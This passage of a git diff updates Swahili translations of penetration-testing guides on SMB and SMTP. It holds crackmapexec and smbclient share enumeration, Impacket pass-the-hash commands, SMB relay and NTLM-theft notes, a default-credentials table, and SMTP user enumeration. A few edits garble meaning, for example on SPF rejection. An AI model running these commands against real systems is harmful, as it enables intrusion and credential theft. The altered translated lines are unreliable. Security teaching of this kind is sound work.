ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo **mbinu** ya **kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`: ```bash apt-get install crackmapexec @@ -428,7 +428,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ +Huu shambulio unatumia zana ya Responder ili **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ [**Taarifa zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -452,7 +452,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype) ## NTLM Theft -Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack). +Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack). [See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 2e18ad82b..8d64c5e74 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,7 +4,7 @@ ## **Port 139** -The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ni itifaki ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kusaidia katika uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**. +The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -36,7 +36,7 @@ Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmin ```bash enum4linux -a target_ip ``` -Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`. +Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililoainishwa na `target_ip`. ## Nini NTLM @@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24 ``` ### SMB server version -Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza: +Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haionekani katika zana nyingine zinazotumika, unaweza: - Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb_version** - Au skripti hii: @@ -82,11 +82,11 @@ searchsploit microsoft smb ### **Mikopo** Inayowezekana | **Jina la mtumiaji(s)** | **Nywila za kawaida** | -| ------------------------ | ------------------------------------------ | -| _(bila)_ | _(bila)_ | -| mgeni | _(bila)_ | -| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin | -| arcserve | arcserve, backup | +| ------------------------ | ----------------------------------------- | +| _(bila)_ | _(bila)_ | +| mgeni | _(bila)_ | +| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin | +| arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho | @@ -183,7 +183,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Unganisha/Ondoa orodha ya folda iliyoshirikiwa** +### **Unganisha/Orodhesha folda iliyoshirikiwa** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo** -Inaweza kuwa inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuziorodhesha inaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Hizi zinaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji kwake au sehemu hiyo haipo kabisa. +Inaweza kuwa nawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji nayo au sehemu hiyo haipo kabisa. Majina ya kawaida ya sehemu kwa malengo ya windows ni @@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -au kwa script hii (ikitumika kikao kisicho na thamani) +au kwa script hii (ikitumia kikao kisicho na thamani) ```bash #/bin/bash @@ -265,7 +265,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (grafiki), ingiza `\\\` kuona sehemu za kushiriki zisizo na siri. +explorer.exe (grafiki), ingiza `\\\` ili kuona sehemu za kushiriki zisizofichwa. ### Pandisha folda iliyo shared ```bash @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Pakua faili** -Soma sehemu za awali kujifunza jinsi ya kuungana na akiba/Pass-the-Hash. +Soma sehemu za awali kujifunza jinsi ya kuungana na akidi/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -291,9 +291,9 @@ smbclient /// ``` Amri: -- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote) +- mask: inabainisha mask inayotumika kuchuja faili ndani ya directory (kwa mfano, "" kwa faili zote) - recurse: inawasha recursion (kawaida: off) -- prompt: inawasha kuomba majina ya faili (kawaida: on) +- prompt: inawasha kuomba majina ya faili off (kawaida: on) - mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja (_Taarifa kutoka kwa manpage ya smbclient_) @@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -**Mipangilio ya default ya** server **Samba** kwa kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na **mipangilio hatari**: +**Mipangilio ya default ya** server ya **Samba** kwa kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na **mipangilio hatari**: | **Mipangilio** | **Maelezo** | | --------------------------- | ------------------------------------------------------------------ | @@ -337,8 +337,8 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? | | `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? | | `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?| -| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?| -| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa script inapofungwa? | +| `logon script = script.sh` | Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?| +| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa script inapofungwa? | | `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? | Amri `smbstatus` inatoa taarifa kuhusu **server** na kuhusu **nani ameungana**. @@ -400,7 +400,7 @@ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM** +Kwa kutumia **parameter**`-k` unaweza kujiandikisha dhidi ya **kerberos** badala ya **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -428,7 +428,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ +Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **kifaa cha lengo**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ [**Taarifa zaidi kuhusu shambulio hili hapa.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -452,7 +452,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype) ## NTLM Theft -Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack). +Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack). [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index d56c215a2..8c35793d4 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -4,9 +4,9 @@ ## **Basic Information** -The **Simple Mail Transfer Protocol (SMTP)** ni protokali inayotumika ndani ya TCP/IP suite kwa ajili ya **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumiwa pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara. +The **Simple Mail Transfer Protocol (SMTP)** ni protokali inayotumika ndani ya TCP/IP suite kwa ajili ya **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumika pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara. -Katika mazoezi, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kutuma barua pepe**, wakati zinatumia **POP3 au IMAP kupokea** hizo. Kwenye mifumo inayotegemea Unix, **sendmail** inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3. +Katika mazoezi, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kwa kutuma barua pepe**, wakati zinatumia **POP3 au IMAP kwa kupokea** hizo. Kwenye mifumo inayotegemea Unix, **sendmail** inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3. **Default port:** 25,465(ssl),587(ssl) ``` @@ -17,9 +17,9 @@ PORT STATE SERVICE REASON VERSION Ikiwa una fursa ya **kumfanya mwathirika akutumie barua pepe** (kupitia fomu ya mawasiliano ya ukurasa wa wavuti kwa mfano), fanya hivyo kwa sababu **unaweza kujifunza kuhusu topolojia ya ndani** ya mwathirika kwa kuangalia vichwa vya barua pepe. -Unaweza pia kupata barua pepe kutoka kwa seva ya SMTP ukijaribu **kutuma kwa seva hiyo barua pepe kwa anwani isiyopo** (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN. +Pia unaweza kupata barua pepe kutoka kwa seva ya SMTP ukijaribu **kutuma kwa seva hiyo barua pepe kwa anwani isiyopo** (kwa sababu seva itatuma kwa mshambuliaji barua pepe ya NDN). Lakini, hakikisha unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN. -Unapaswa pia kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata taarifa za kuvutia zaidi** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\ +Unapaswa pia kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata habari za kuvutia zaidi** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\ Unapaswa kutuma faili ya mtihani ya EICAR.\ Kugundua **AV** kunaweza kukuwezesha kutumia **vulnerabilities zilizo maarufu.** @@ -40,14 +40,14 @@ openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ```bash dig +short mx google.com ``` -### Uhesabu +### Uainishaji ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Ufunuo wa taarifa -Ikiwa seva inasaidia NTLM auth (Windows) unaweza kupata taarifa nyeti (matoleo). Maelezo zaidi [**hapa**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). +Ikiwa seva inasaidia uthibitishaji wa NTLM (Windows) unaweza kupata taarifa nyeti (matoleo). Maelezo zaidi [**hapa**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner @@ -60,9 +60,9 @@ NTLM supported ``` Au **automate** hii kwa kutumia **nmap** plugin `smtp-ntlm-info.nse` -### Jina la seva ya ndani - Ufunuo wa taarifa +### Jina la seva ya ndani - Ufichuzi wa taarifa -Baadhi ya seva za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifunua jina lake la ndani: +Baadhi ya seva za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all @@ -83,13 +83,13 @@ MAIL FROM: me ``` ### Sniffing -Angalia kama unaweza kunasa nenosiri kutoka kwa pakiti za bandari 25 +Angalia kama unapata nenosiri kutoka kwa pakiti za bandari 25 ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) ## Username Bruteforce Enumeration -**Uthibitisho sio kila wakati unahitajika** +**Uthibitisho si lazima kila wakati** ### RCPT TO ```bash @@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN Reports -**Ripoti ya Hali ya Uwasilishaji**: Ikiwa utatuma **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe ambazo zilishirikiana na ripoti au taarifa za programu ya kupambana na virusi). +**Ripoti za Hali ya Uwasilishaji**: Ikiwa utatuma **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza (kama anwani ya IP ya huduma za barua pepe ambazo zilishirikiana na ripoti au taarifa za programu ya kupambana na virusi). ## [Commands](smtp-commands.md) @@ -235,7 +235,7 @@ Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kut > [!CAUTION] > SPF [ilikuwa "imeondolewa" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha kwamba badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia sawa**.\ -> Zaidi ya hayo, ili kutumia tena rekodi za awali za spf ni kawaida sana kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"` +> Zaidi ya hayo, ili kutumia tena rekodi za awali za spf ni kawaida kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"` **Muundo wa Sera ya Mtumaji** (SPF) ni mekanizma inayowezesha Wakala wa Usafirishaji wa Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya kikoa, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la kikoa**, inajumuisha "Mekanizma" mbalimbali katika rekodi ya SPF. @@ -245,29 +245,29 @@ Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | Mekanizma | Maelezo | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Inalingana kila wakati; inatumika kwa matokeo ya chaguo la default kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali. | +| ALL | Inalingana kila wakati; inatumika kwa matokeo ya chaguo kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali. | | A | Ikiwa jina la kikoa lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa hadi anwani ya mtumaji, italingana. | -| IP4 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, lingana. | -| IP6 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, lingana. | -| MX | Ikiwa jina la kikoa lina rekodi ya MX inayotatuliwa hadi anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za kikoa). | -| PTR | Ikiwa jina la kikoa (rekodi ya PTR) kwa anwani ya mteja iko katika kikoa kilichotolewa na jina hilo linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. | -| EXISTS | Ikiwa jina la kikoa lililotolewa linatatuliwa hadi anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries. | +| IP4 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, linganisha. | +| IP6 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, linganisha. | +| MX | Ikiwa jina la kikoa lina rekodi ya MX inayotatua hadi anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za kikoa). | +| PTR | Ikiwa jina la kikoa (rekodi ya PTR) kwa anwani ya mteja iko katika kikoa kilichotajwa na jina hilo linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), linganisha. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. | +| EXISTS | Ikiwa jina la kikoa lililotajwa linatatuliwa hadi anwani yoyote, linganisha (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries. | | INCLUDE | Inarejelea sera ya kikoa kingine. Ikiwa sera ya kikoa hicho inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kabisa kwa sera ya kikoa kingine, kiambatisho cha kuhamasisha kinapaswa kutumika. | -| REDIRECT |

Kuhamasisha ni kiashiria cha jina lingine la kikoa ambalo lina sera ya SPF, inaruhusu kikoa kadhaa kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya kikoa ambayo inashiriki miundombinu sawa ya barua pepe.

Sera ya SPF ya kikoa kilichoonyeshwa katika Mekanizma ya kuhamasisha itatumika.

| +| REDIRECT |

Kupeleka ni kiashiria cha jina lingine la kikoa ambalo lina sera ya SPF, inaruhusu kikoa kadhaa kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya kikoa ambayo inashiriki miundombinu sawa ya barua pepe.

Sera ya SPF ya kikoa kilichotajwa katika Mekanizma ya kupeleka itatumika.

| -Pia inawezekana kubaini **Wakadiriaji** ambao huonyesha **kitu gani kinapaswa kufanywa ikiwa mekanizma imefanikiwa**. Kwa default, **wakadiriaji "+"** hutumika (hivyo ikiwa mekanizma yoyote imefanikiwa, hiyo inamaanisha inaruhusiwa).\ +Pia inawezekana kubaini **Wakadiriaji** ambao huonyesha **kitu gani kinapaswa kufanywa ikiwa mekanizma italingana**. Kwa kawaida, **wakadiriaji "+"** hutumika (hivyo ikiwa mekanizma yoyote inalingana, hiyo inamaanisha inaruhusiwa).\ Kwa kawaida utaona **mwishoni mwa sera ya kila SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.** #### Wakadiriaji -Kila mekanizma ndani ya sera inaweza kuanzishwa kwa moja ya wakadiriaji wanne ili kufafanua matokeo yaliyokusudiwa: +Kila mekanizma ndani ya sera inaweza kuanzishwa na moja ya wakadiriaji wanne ili kufafanua matokeo yaliyokusudiwa: -- **`+`**: Inalingana na matokeo ya PASS. Kwa default, mekanizma zinachukulia wakadiriaji huu, na kufanya `+mx` kuwa sawa na `mx`. -- **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum hakuna). -- **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo. -- **`-`**: Inamaanisha FAIL, ikionyesha kwamba barua pepe inapaswa kukataliwa moja kwa moja. +- **`+`**: Inalingana na matokeo ya PASS. Kwa kawaida, mekanizma zinachukulia wakadiriaji huu, na kufanya `+mx` kuwa sawa na `mx`. +- **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum). +- **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama njia ya kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini kuwekwa alama ipasavyo. +- **`-`**: Inamaanisha FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja. -Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka kwa kikoa tofauti ndani ya sera ya kwanza ya SPF: +Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumuishwa kwa sera za SPF kutoka kwa kikoa tofauti ndani ya sera ya kwanza ya SPF: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" @@ -286,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Kihistoria ilikuwa inawezekana kudanganya jina lolote la kikoa ambalo halikuwa na rekodi sahihi/ya SPF. **Sasa**, ikiwa **barua pepe** inatoka kwenye **kikoa kisichokuwa na rekodi halali ya SPF** kuna uwezekano mkubwa itakataliwa/kuwekwa alama kama isiyoaminika kiotomatiki. +Kihistoria ilikuwa inawezekana kudanganya jina lolote la kikoa ambalo halikuwa na rekodi sahihi/ya SPF. **Sasa**, ikiwa **barua pepe** inatoka kwenye **kikoa kisichokuwa na rekodi halali ya SPF** kuna uwezekano mkubwa itakubaliwa/kutambuliwa kama isiyoaminika kiotomatiki. Ili kuangalia SPF ya kikoa unaweza kutumia zana za mtandaoni kama: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) -DKIM inatumika kusaini barua pepe zinazotoka, ikiruhusu uthibitishaji wao na Wakala wa Usafirishaji wa Barua (MTAs) kupitia upatikanaji wa funguo za umma za kikoa kutoka DNS. Funguo hii ya umma iko katika rekodi ya TXT ya kikoa. Ili kufikia funguo hii, mtu lazima ajue mteule na jina la kikoa. +DKIM inatumika kusaini barua pepe zinazotumwa, ikiruhusu uthibitishaji wao na Wakala wa Usafirishaji wa Barua (MTAs) kupitia upatikanaji wa funguo za umma za kikoa kutoka DNS. Funguo hii ya umma iko katika rekodi ya TXT ya kikoa. Ili kufikia funguo hii, mtu lazima ajue mteule na jina la kikoa. Kwa mfano, ili kuomba funguo, jina la kikoa na mteule ni muhimu. Hizi zinaweza kupatikana katika kichwa cha barua `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. @@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p= ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) -DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitishaji na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe. +DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera ambazo zinaongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitisho na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe. **Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain \_dmarc** ```bash @@ -335,13 +335,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; 